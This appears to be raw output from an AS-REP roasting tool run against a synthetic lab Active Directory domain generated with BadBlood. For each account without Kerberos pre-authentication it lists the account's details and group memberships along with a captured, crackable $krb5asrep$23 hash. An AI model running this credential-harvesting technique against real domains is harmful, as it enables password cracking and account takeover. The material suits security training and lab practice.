$krb5asrep$23$CECELIA_WYATT@offsec.nl:52574a1d3757b06899559a8eb57c36cc$c662fd0b7f369b9a4374c2ff604a1c4a61ac99e178752a8f026ac0874bfa8a21b4c3f4f72c5c520d4b553298efc248c3b66eab7aae195097aa29084f316f4ba92cf83f11f4d45c22114d36bd5808a5b364b3d647a6f27088e073dd93f066b8ba5a59dfc633d6e55d14feabbd6c55d352f7b03ebc4fb44d36502283721813e89543fbf9064562c20d4c6ec9a46be76dbcd2526162812afb031b361ccded405dc5d74f07790f64dcaac2abccc54a4ae116d1636bf40212d8929553814f66f139d1c39069c6a3b23e08548370234db44d33c992f459eeb73859443a2feb6451b6fd3cbbbfe69438 Searching for ASREPRoast Users - Details for User 'KRISTOPHER_PARK': sAMAccountName : KRISTOPHER_PARK userPrincipalName : KRISTOPHER_PARK@offsec.nl distinguishedName : CN=KRISTOPHER_PARK,OU=ServiceAccounts,OU=HRE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1628 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=KA-126-admingroup1,OU=Groups,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=WI-car-distlist1,OU=Groups,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=TH-yosoybety-admingroup1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=VI-marcotoro-distlist1,OU=ITS,OU=Stage,DC=offsec,DC=nl CN=LE-chaparrit-distlist1,OU=Tier 1,OU=Admin,DC=offsec,DC=nl CN=CO-com-distlist1,OU=Devices,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=DO-ayora2105-distlist1,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=BE-bia-distlist1,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=Denied RODC Password Replication Group,CN=Users,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:04 AM lastLogonTimestamp : 2/10/2022 1:59:34 PM $krb5asrep$23$KRISTOPHER_PARK@offsec.nl:ff78ebb9b4b84aa96e326a37af2ec88f$f9640a3b2782e62661f6a5cd9cb32f2cf7cfed78aad337e50a059bd86e1b86870c22f546ab01b0a41d8a360b0f8a0fbc3e24be4f1319b6a76b850a627273c02b68dc14d6bf53ccf1101cdaf393af50ac6c8456f94fd1a8c8692dffed2c9e9a5c04f2b27791aa96a39491a0f1ca6d90b64d524ce37588a7be0ce8232bb481571ff624f9b3341e59d016c65c92cba5212a6f33884f6296983c8f209537df4b34e34baa8c0d4c6ac16ec1744d4a6039f1a2d705e9389cc02bb7d606f97d09ff5a9a38bd9fa1c179de71cd79c61dcd531b56ecaaa705a528a21a1a869ed8f5a6780c284354f664ed Searching for ASREPRoast Users - Details for User 'DEWITT_HARPER': sAMAccountName : DEWITT_HARPER userPrincipalName : DEWITT_HARPER@offsec.nl distinguishedName : CN=DEWITT_HARPER,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1632 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=TA-mis-admingroup1,OU=Tier 1,DC=offsec,DC=nl CN=KI-nis-admingroup1,OU=Groups,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=HE-261218224-admingroup1,OU=People,DC=offsec,DC=nl CN=EL-Dul-admingroup1,OU=Groups,OU=TST,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:05 AM lastLogonTimestamp : 2/10/2022 1:59:34 PM $krb5asrep$23$DEWITT_HARPER@offsec.nl:feb01ada36bc6423a4ca7f9b666d1d6c$0a3206016d3598fc76a866d2929b51499f3e78f9e76602410aeff09d0b7c703bad48d943081adfcfe133b2a9643587036f4e2a499a1332fd2416323325d1d0567630459a9a8474a6f0e64a115c0556d55b4329e8e3e5a1c676aabe6280a763b8d274bdd898a60b0a6b668e5bde69c1d7728ef09e1de9e7cf8275c8ffc6377963932fd7a864568ad2d4ce5bbc05ce9579ea1de94de11a9e7e9c0192d851e2e9883b198ab2f0a8ad4efe0cd9e2316f408e6d02c12d342ec916706f3a850d950148adde0ab6d4dbed0b7e0de5dfccc69aa80216942040b3a1e721611db6fd8c8527f401f420d67c Searching for ASREPRoast Users - Details for User 'ROSARIO_PATE': sAMAccountName : ROSARIO_PATE userPrincipalName : ROSARIO_PATE@offsec.nl distinguishedName : CN=ROSARIO_PATE,OU=Groups,OU=ITS,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1635 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:01:05 AM lastLogonTimestamp : 2/10/2022 1:59:34 PM $krb5asrep$23$ROSARIO_PATE@offsec.nl:92a0d16d9cb028b0f1487446e9da8188$adaf1812e2157d4e19313ea4540f125d9858913d07973e481c47cd05ade915fd00238bab336901c65498b003e04e210b86aadf1b6fee7d55114e399248790afe62a54f0a51dfb61271d36510aab0137608d6294a6c9ec3c20b501700b9b620f8dba53c743bff8d24b02e6cbd7420d7d4595963fd8b3e775db1951d041e62350a72b22b280902b7665176a52f422d1d677060151d0e49f0c95786b888557e114466eefd67b02cf2a19accb14fecdc16096ddd68d9485d8405fea3584ec2ed50f0d2513a9be76acc7072d28ff3288130cdeaca9a02de7264761ab869178d13a64be1c56fbfcf78 Searching for ASREPRoast Users - Details for User 'KAY_MUELLER': sAMAccountName : KAY_MUELLER userPrincipalName : KAY_MUELLER@offsec.nl distinguishedName : CN=KAY_MUELLER,OU=ServiceAccounts,OU=AZR,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1636 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=DE-satanicbl-distlist1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=KA-126-admingroup1,OU=Groups,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=MA-monkeylic-distlist1,OU=Test,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=DI-BEL-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl CN=AM-seguimosa-admingroup1,OU=T0-Permissions,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=MA-joseteamo-distlist1,OU=Groups,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=RU-ele-distlist1,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=MI-sol-distlist1,OU=ServiceAccounts,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=SA-per-distlist1,OU=Groups,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=RO-260-distlist1,OU=ITS,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:06 AM lastLogonTimestamp : 2/10/2022 1:59:34 PM $krb5asrep$23$KAY_MUELLER@offsec.nl:177be7f1a89210fcc41b4b70219f9297$079e7f3d705fd0c7f15a40df038bc9ec50bc26894299367d60a24873b377d2bd49d90d4eff95b9fe990a8a3b22fd4c2c91dfe04306904f5c13cbb634969f6f821021ca3fb5245df2511cb8678280c67daa09575861c42c8ec846b119fcc53beb89d67589aad54e1e3ec4ff87331a417db86adce5ffe193fd4c55f9dad70f2a225261370415231566098d541a154356d25652510d8fcba5f1a48185ec4933fdbcbd76b28b53580d266523663034d0ad5a46ee23540dce2ff8b5fd88fd47664ea6c0edce2b17d659fda73edabec594eb02945fce49ca98e4d5753b58df45bef092f9aea27dc4f1 Searching for ASREPRoast Users - Details for User 'ALYSSA_STOKES': sAMAccountName : ALYSSA_STOKES userPrincipalName : ALYSSA_STOKES@offsec.nl distinguishedName : CN=ALYSSA_STOKES,OU=SEC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1640 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:01:07 AM lastLogonTimestamp : 2/10/2022 1:59:35 PM $krb5asrep$23$ALYSSA_STOKES@offsec.nl:ad3d7f185135b88a3a79c72e3c0618cc$66c733bf53e48cfae98a2fe122d46b4abcc7dae60ab0cfa1847346f5eb88c7129d67ce9d340f5dc03a70e28ca5bdb67923dc638421d66da997da3826f6b97aedadc2b9cb05934b47ce12b8b362cb15759beb1a3383ba7261476bedf1b11d96b03cba101c3d2426870dfee2d62e7d297be869c7f66f311c4f4e33480e5803cc7cffbee375e2046e0e40cd4af141b67684cf39939025a9cea6e3264bede012e5616a365590294c92e317459a356f43b411534dc8a0391d31916765a97cba07bde410f50aebabc05a1ebd75bc25da7fd210ab9fca2c39284b67b8ce5bfa3bf0dcda3b59c968d1d5 Searching for ASREPRoast Users - Details for User 'MANUELA_HUDSON': sAMAccountName : MANUELA_HUDSON userPrincipalName : MANUELA_HUDSON@offsec.nl distinguishedName : CN=MANUELA_HUDSON,OU=ServiceAccounts,OU=OGC,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1652 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=MA-yol-distlist1,OU=Testing,DC=offsec,DC=nl CN=RO-jimmy8923-distlist1,OU=Test,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=AL-enamorada-admingroup1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=CL-ron-admingroup1,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=MA-sevilla11-admingroup1,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=IL-jai-admingroup1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=GE-bic-distlist1,OU=Stage,DC=offsec,DC=nl CN=AA-botykario-admingroup1,OU=Groups,OU=AWS,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:09 AM lastLogonTimestamp : 2/10/2022 1:59:35 PM $krb5asrep$23$MANUELA_HUDSON@offsec.nl:947099736de64650b55203762e990cc4$3f9d712447e1912915af252aa499380160a2b71c113cb5e0d9faa49cc00b179641b54b20ad9892dae180bf834464db5c33ae4be921c62d7ea49fc696f47cd79f1c80eec47d5653bd86965b6651c8606d5f1f9875e5a58c84393df0993723af950be0209276b80b81e2a3d9c866191999517cc7180dd3bc144aeb8655b8e0c124baaea3c780a4dfdc3eb20877d68d8f255f7f744b0824012190573d98d20553da2e50afa9b1c71c520e3c478427ec2b81495435d0ab0484e3fefaf912f6c9e417eff48485c108d01c83cf0e4027da3ca4576817a4247bc0be79ab5fde61d8ab6b0819909e8866 Searching for ASREPRoast Users - Details for User 'GRACIELA_MILLS': sAMAccountName : GRACIELA_MILLS userPrincipalName : GRACIELA_MILLS@offsec.nl distinguishedName : CN=GRACIELA_MILLS,OU=Groups,OU=BDE,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1662 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=DE-jet-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=NA-az2826720-distlist1,OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=MO-mahalkita-distlist1,OU=Devices,OU=SEC,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:12 AM lastLogonTimestamp : 2/10/2022 1:59:35 PM $krb5asrep$23$GRACIELA_MILLS@offsec.nl:53746cbaa1038cb399a2ffbbdf5c2c67$5d1421717942505e8326fda98162a84b19a0dc98595534c90b15c102d6c72458b3ac211cd03e8c717103bfb2ec6132983b284dfa6d00af664ad24a9b4a4ce563b3fdfbd15ab2ef8bbe7dd4ef6447b69bd250a2a78804c251b1f65704c6e745b5c2d768dfb4003e775ddde354a3613f5320ac4497878ef2a3761604d50d6cd1462662a0edc3ac61ea220ee7736b76344547c479d786c94c1d9fcce64f08f2249fc4c780cee5ea668369723605d5f919adffc6350c0e36af72dd8032e7901550a0608002d084cb46c1f127741425a00706903f05d8260a126d9c3470a972111f54f07774d1f7b2 Searching for ASREPRoast Users - Details for User 'ERWIN_ADAMS': sAMAccountName : ERWIN_ADAMS userPrincipalName : ERWIN_ADAMS@offsec.nl distinguishedName : CN=ERWIN_ADAMS,OU=AZR,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1679 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=KE-correossa-distlist1,OU=Staging,OU=Admin,DC=offsec,DC=nl CN=RO-tam-admingroup1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=AV-317-distlist1,OU=T1-Servers,OU=Tier 1,OU=Admin,DC=offsec,DC=nl CN=RO-barbacian-distlist1,OU=ServiceAccounts,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=AU-cla-distlist1,OU=Groups,OU=SEC,OU=Stage,DC=offsec,DC=nl CN=MA-joseteamo-distlist1,OU=Groups,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=JO-whitefast-distlist1,OU=Groups,OU=GOO,OU=Tier 1,DC=offsec,DC=nl CN=JA-319-distlist1,OU=BDE,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:16 AM lastLogonTimestamp : 2/10/2022 1:59:35 PM $krb5asrep$23$ERWIN_ADAMS@offsec.nl:8f8814a1358d7fd45d95da6f66f6799a$0f17b7cbf3c5060c364ac04b5ca40bbd3d6572884810f3feea0944a6f1834e867cd78873c563ce6ac7ac0f54d6671297c7706fc46492b931c2185c9186a7b8d14d5de837d10cde4a23f9cf6ad329f46ccc1b1a7646f5eaefa183718eba1293e1b86bb923349605dc570ad312aff5afa1261b701286920b36ff693f9334dbe2b2188714c6d6474eb3bea28fae5fe6c4b759334a5461345cac80587d8b76fb17b0c43f687766683ba3030be324046f3d672ef305a14d00a3d13c0571a4c160e2c447f3b40536212e72da7b9943b49c2108c6fac3d60119802e73b7bf80dca924e53fbfd79d3518 Searching for ASREPRoast Users - Details for User '8741210487SA': sAMAccountName : 8741210487SA userPrincipalName : 8741210487SA@offsec.nl distinguishedName : CN=8741210487SA,OU=T0-Accounts,OU=Tier 0,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1689 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=CE-ferdhinan-distlist1,OU=ServiceAccounts,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=CL-281-distlist1,OU=Groups,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=LE-supercali-admingroup1,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=JI-TELEFONOS-distlist1,OU=ServiceAccounts,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=GL-486-distlist1,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=66-553-distlist1,OU=Groups,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=DA-mar-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl CN=DA-fidelrome-distlist1,OU=Test,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=MO-cec-distlist1,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=NE-150283bsa-distlist1,OU=Grouper-Groups,DC=offsec,DC=nl CN=LE-bessyague-distlist1,OU=ServiceAccounts,OU=HRE,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:18 AM lastLogonTimestamp : 2/10/2022 1:59:35 PM $krb5asrep$23$8741210487SA@offsec.nl:91d4606eed3dce11d678b57f48e5e0bb$82d836266fcd3fb58eb730d2da7ad81308a267d2eb2e3e95eb1adefb90847c60cca0a6f36386b3d2a0d8f11bc4965f2a06707c4c026516af79d2a2153b4e82a1fee02852195f9d2eed028a8e2286bdc9a1131a7c90f773c0b8f33b2c150776401e8766728e7c26beea7953a8a96efaa232dca2b7a4db74ba2dde7ba63d8ecf71bd05a53da7f81612025999b42862498c1bd07d45fcc9d88bbb237270ebc0c12418ee11e7b6973756d964cde7c7bfe5cbe1eca4eeffc436ae5ce07a200ce2d7d2064efe732057a57f591729e3f18f79276ca2dde2d2be86b4b019de60ad23f69d6a0c10916c17 Searching for ASREPRoast Users - Details for User 'TRACEY_JOYNER': sAMAccountName : TRACEY_JOYNER userPrincipalName : TRACEY_JOYNER@offsec.nl distinguishedName : CN=TRACEY_JOYNER,OU=Devices,OU=AZR,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1696 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=KI-nis-admingroup1,OU=Groups,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=VI-050-distlist1,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=GL-486-distlist1,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=RO-nabila196-distlist1,OU=ServiceAccounts,OU=OGC,OU=Stage,DC=offsec,DC=nl CN=MO-estoyfeli-distlist1,OU=Groups,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=ST-alcuescar-distlist1,OU=FIN,OU=People,DC=offsec,DC=nl CN=CA-cyf-distlist1,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=JO-vanguardi-distlist1,OU=GOO,OU=People,DC=offsec,DC=nl CN=TA-ilovepink-admingroup1,OU=Test,OU=ESM,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:19 AM lastLogonTimestamp : 2/10/2022 1:59:35 PM $krb5asrep$23$TRACEY_JOYNER@offsec.nl:dfd2d39d306fce7c572cfc6375c34a2b$7e91d98563adeea2b0943db8597f0452892882a43c8813b207db53b276f244edeb8e67dfaa7abac83d122e101696b204a2a94b586b88e9b62809543d6c8a2909873e34ef7797ef5fff849cdfae046aa3b4c2896123e0706e47b9743f4df27a3f2e94ae7d21d2868ec86489dffb365bb04a6c476eb9bf3a658906f883f9d566e804dd9f8f551c2f5a56c803475b35d8d9b47ae92752c3589da72573d716e1ea9a0c61bb5d4c567a26242141f588062f6cc17f29a3d715d02200bb82fd58c05e4790ddbb84a93b61a271f2e8e5eec16f13d8b9bd8f5055ba03f6dee1f44eb3462296d7cd2e5137 Searching for ASREPRoast Users - Details for User 'DANTE_HARRISON': sAMAccountName : DANTE_HARRISON userPrincipalName : DANTE_HARRISON@offsec.nl distinguishedName : CN=DANTE_HARRISON,OU=Test,OU=TST,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1702 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=EL-290-distlist1,OU=Devices,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=LU-marchiqui-distlist1,OU=Tier 0,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:21 AM lastLogonTimestamp : 2/10/2022 1:59:35 PM $krb5asrep$23$DANTE_HARRISON@offsec.nl:7a93fa9dffee962c555f94b47d0441f9$9372b10589eb477c1120c1aa4e623590db383e464920586021d45f1a37ada18013058a292400c99fb88532e0c67098d84b20cdb11bfc6fdcb9930e2fcbf82a08107762f6a9400dbcfab64fa0852606fafcdce479c9252b7bf99a31a64fbc447c6f6b0fa9e0e9b7ccdb4cb98863e686ab3fe4d586c91e50a9a2ca3402c942e8c259355520f6ca985c540bd4e0a716079d1ca41e28cf055651e043b04113a822bcdf5985c44258d0a479c029393467ddea6d761a8328273ab5d9d9fd8744386064d70443dc24a1e7c3779688e4ead0bc05a57506e9d7c249031c201caff88b9635e24725e7453d Searching for ASREPRoast Users - Details for User 'ALYSSA_CALHOUN': sAMAccountName : ALYSSA_CALHOUN userPrincipalName : ALYSSA_CALHOUN@offsec.nl distinguishedName : CN=ALYSSA_CALHOUN,OU=Devices,OU=SEC,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1713 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=EV-ayl-admingroup1,OU=TST,OU=Stage,DC=offsec,DC=nl CN=LE-111075cum-distlist1,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=CL-tkfkdgody-distlist1,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=OL-gladiator-distlist1,OU=Groups,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=FL-kk2-distlist1,OU=HRE,OU=People,DC=offsec,DC=nl CN=ES-aze-distlist1,OU=Grouper-Groups,DC=offsec,DC=nl CN=KE-nic-admingroup1,OU=Test,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=JO-aye-admingroup1,OU=Domain Controllers,DC=offsec,DC=nl CN=AI-jfsa44341-distlist1,OU=Test,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=CH-123456lim-admingroup1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=AL-lascivete-admingroup1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:23 AM lastLogonTimestamp : 2/10/2022 1:59:35 PM $krb5asrep$23$ALYSSA_CALHOUN@offsec.nl:8adede948e546cd49b05825c3d487f17$c25b5f0382459874032b389f78466310d954bc734353e6c1c1f3e12641cb753caff29d8fdd2b87676c9af2858db7573fa674ea14e727c18c1051a2089c827c1dd746669379dff951555c2644ddb751e333db437360c741b49372668bd542c68480782348ed025a617f7aaa8f562c5963eb606e7e99372b86850321264e16301a4f02dbb6f4770a91c297a13e9507646d175969f0a531b9fb7c8b3f8ae3c687dd1c8e840a39334e2daedd25cc15e8e56c99e55d8c4331ab39379c3583656a966d03faac777916c9f44f3dd9a9a3503fba25b99c09549cb48031bee6c0beffb5dc5cb7e7be7337 Searching for ASREPRoast Users - Details for User 'DARCY_GLASS': sAMAccountName : DARCY_GLASS userPrincipalName : DARCY_GLASS@offsec.nl distinguishedName : CN=DARCY_GLASS,OU=Groups,OU=FIN,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1745 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=EL-Dul-admingroup1,OU=Groups,OU=TST,OU=Tier 1,DC=offsec,DC=nl CN=AL-enamorada-admingroup1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=LE-111-distlist1,OU=Test,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=TR-200-distlist1,OU=Groups,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=LO-308-distlist1,OU=Groups,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=JE-chuchito1-distlist1,OU=Groups,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=OP-qaz-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl CN=DO-ayora2105-distlist1,OU=OGC,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:31 AM lastLogonTimestamp : 2/10/2022 1:59:36 PM $krb5asrep$23$DARCY_GLASS@offsec.nl:b1b9a5ae754b7ab468c7bcc639bc4b29$25e0f80c4c59fca16ff6804c5d6a8f7f52e0d129b8017bae52020b3e9ccec9761caabbced016338f3f30649ee9e86b24c91752596bc6349cccbe5a30e39bb3e3deb2ed547f32ef8e1ce101282ff6a9f6ad68a60e75e067d08525b6f616b2ccecff8e637641ad7d2513f70304ad4a16c66ef4ed30fd88ed148f1e69e4d25c519ab6a35e30600e43e21acaf968081f6d72841109bb3591bc6e1655a8a29167ca3179cc9b418ba5d5928747abd584ed05da697e13fd3aebaaeb33d02476156439896b35eed9873a744029b01526d6aca6938d60cf5f748c21a704f2b033f633fedf4e0077fff9bf Searching for ASREPRoast Users - Details for User 'CHARLENE_KNAPP': sAMAccountName : CHARLENE_KNAPP userPrincipalName : CHARLENE_KNAPP@offsec.nl distinguishedName : CN=CHARLENE_KNAPP,OU=ServiceAccounts,OU=HRE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1753 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:01:33 AM lastLogonTimestamp : 2/10/2022 1:59:36 PM $krb5asrep$23$CHARLENE_KNAPP@offsec.nl:a58c202617685acd5189fe77828039da$47d837b4a1a95d8253fb2a8ae636ba1eb9bac461a960a70f074f83ade750afcbb4666f0d94c7c26b414b1f2201fedcb05468d9075d697085dbd7ea8a62d5defadacf1b5a5e29a0cebeadfcc4369415bef497f3ad9ffb698700b83f4e5b80ce17b28710ba2ccd73bec48418a0f2e3208e9ce77865d3a9e42544a837db2f602f51eddf9f7b3e8531d25fdab2f06715ca698786e2b3ab69a482d2335ea46cd5d4b4944af93140cef3e8b5097d94dd54b24f0c268405b3306e8ecbad3fe374691d857cdb22ea2722881f0204e1322ceb5ab501bce68e8f09b9f3864da26516e5cce73d93c4a2d1f9 Searching for ASREPRoast Users - Details for User '511678996SA': sAMAccountName : 511678996SA userPrincipalName : 511678996SA@offsec.nl distinguishedName : CN=511678996SA,OU=Quarantine,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1767 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=KE-correossa-distlist1,OU=Staging,OU=Admin,DC=offsec,DC=nl CN=EV-SEX-distlist1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:36 AM lastLogonTimestamp : 2/10/2022 1:59:36 PM $krb5asrep$23$511678996SA@offsec.nl:b8a1ef961dc3921cd1596d124b7ec6c4$002ee8cbaa1dc77a7fc6d04c276710aacbc76f593bf4f94d23e6f4a9751e7778d3c5b0f1dd9d97830afeb65c96b20ed253fbc07ab09bd6c0cd19a4f5044ab8b9e43efb4182c14fcece0fc85062e009d72ed7cd08fa4e87c4e16ff4b765266b6e289d8016f7a16e1856c74f8d6d0d6d145f2bf708f1364b3f9f5e1c503fe4a159de137bbeaf96bb593f473695cd6bd2442d01ffef93fd75f8383ffa70704bdccc6f607a6fe4cf6afc5d93d771e5f4b7d010f25b6fa399f439c76d3457c97ae9bbe2ad0a5badfa1d6c64f835c902d6fdd974788f1cbf8c2e7759ddb091689ca4e07ef3e9796e3c Searching for ASREPRoast Users - Details for User 'MARGARITA_CURRY': sAMAccountName : MARGARITA_CURRY userPrincipalName : MARGARITA_CURRY@offsec.nl distinguishedName : CN=MARGARITA_CURRY,OU=AWS,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1779 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:01:38 AM lastLogonTimestamp : 2/10/2022 1:59:36 PM $krb5asrep$23$MARGARITA_CURRY@offsec.nl:2895c8ff0655b66b27c0422658eefc22$4a21fecb0a147a90708c33ad2200aa8afb9eb51d21342002618a6dca6c821561cc512a8cc64acce90ec0d31644ae93ae70dcacf46ac160d99735eb872cfcf2ed622a609bd73134ac4adf03f293ccec958134f05cfafd87e233a08492f0b7d1ee22b5f4aa36537b35a30dfd507722b5d8fb0f20558bb437af4e0aceab08beb67064508bcefddcd5dfca0b4a174c92f16c4e925256146bd7db8bbe72da9a2eb06b8218261716ab527673da47fc56809c1bd13b93539c72abaa54e3a55e12192d4f3993cb7583335ce367044a8884f12930f759ba561fffa9eaa77b5ba4b2b290e28e6da9b1ee77 Searching for ASREPRoast Users - Details for User 'CATALINA_STEVENSON': sAMAccountName : CATALINA_STEVENSON userPrincipalName : CATALINA_STEVENSON@offsec.nl distinguishedName : CN=CATALINA_STEVENSON,OU=Test,OU=AWS,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1780 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=TH-mar-distlist1,OU=T2-Devices,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=GR-betyz4421-distlist1,OU=ESM,OU=People,DC=offsec,DC=nl CN=LE-AGUSTINBL-distlist1,OU=ServiceAccounts,OU=SEC,OU=Stage,DC=offsec,DC=nl CN=LE-soloparat-distlist1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=OT-664539651-admingroup1,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=CA-hermana34-admingroup1,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=RU-florecita-distlist1,OU=ServiceAccounts,OU=GOO,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:01:39 AM lastLogonTimestamp : 2/10/2022 1:59:36 PM 